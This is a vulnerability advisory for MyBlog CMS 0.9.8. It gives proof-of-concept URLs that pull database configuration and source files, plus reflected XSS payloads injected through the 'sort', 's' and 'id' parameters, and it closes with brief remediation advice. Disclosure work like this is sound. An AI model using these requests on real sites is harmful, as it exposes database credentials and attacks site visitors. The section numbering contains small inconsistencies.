myblog-multi.txt

`########################## www.BugReport.ir   
#######################################  
#  
# AmnPardaz Security Research Team  
#  
# Title: MyBlog <=0.9.8 Multiple Vulnerabilities  
# Vendor: http://crewdesign.co.uk & http://sourceforge.net/projects/myblog  
# Exploit: Available  
# Vulnerable Version: 0.9.8  
# Impact: High  
# Fix: N/A  
# Original Advisory: www.bugreport.ir/?/49  
###################################################################################  
  
####################  
1. Description:  
####################  
MyBlog(CMS) is an open source Blog/CMS project. MyBlog(CMS) was   
created as an expandable and easy to use system to manage your website   
with. Its best feature is its customisability, you could use it to run   
your whole site around with forum modules, photo gallery modules and   
all that jazz or you could just run a simple add-on blog using it.  
####################  
2. Vulnerabilities:  
####################  
2.1. Information Leakage. Database information disclosure in   
"/config/mysqlconnection.inc" and/or   
"/config/mysqlconnection%20-%20Copy.inc" or "/admin/setup.php".  
2.1.1. Exploit:  
Check the exploit/POC section.  
2.2. Cross Site Scripting (XSS). Reflected XSS attack in "index.php"   
in "sort" and "s" parameters.  
2.2.1. Exploit:  
Check the exploit/POC section.  
2.2. Cross Site Scripting (XSS). Reflected XSS attack in "post.php"   
in "id" parameter.  
2.2.1. Exploit:  
Check the exploit/POC section.  
2.4. Information Leakage. Source code disclosure in "/config/settings.inc".  
2.4.1. Exploit:  
Check the exploit/POC section.  
####################  
3. Exploits/POCs:  
####################  
Original Exploit URL: http://bugreport.ir/index.php?/49/exploit  
  
Exploits/POCs:  
1.1. Information Leakage. Database information disclosure in "/config/mysqlconnection.inc" and/or "/config/mysqlconnection%20-%20Copy.inc" or "/admin/setup.php".  
-------------  
http://[URL]/config/mysqlconnection.inc  
http://[URL]/config/mysqlconnection%20-%20Copy.inc  
http://[URL]/admin/setup.php  
-------------  
1.2. Reflected XSS attack in "index.php" in "sort" and "s" parameters.  
-------------  
http://[URL]/index.php?sort=<script>alert( String(/BugReport.ir XSS/).substr(1,16) );</script>  
http://[URL]/index.php?s=<script>alert( String(/BugReport.ir XSS/).substr(1,16) );</script>  
-------------  
1.3. Reflected XSS attack in "post.php" in "sort" parameter.  
-------------  
http://[URL]/post.php?id="<script>alert( String(/BugReport.ir XSS/).substr(1,16) );</script><br  
-------------  
1.4. Information Leakage. Source code disclosure in "/config/settings.inc".  
-------------  
http://[URL]/config/settings.inc  
  
####################  
4. Solution:  
####################  
Edit the source code to ensure that inputs are properly sanitized.   
Rename the mentioned files in section 2.1, 2.4 and wait for vendor   
patch.  
####################  
5. Credit:  
####################  
AmnPardaz Security Research & Penetration Testing Group  
Contact: admin[4t}bugreport{d0t]ir  
WwW.BugReport.ir  
WwW.AmnPardaz.com  
`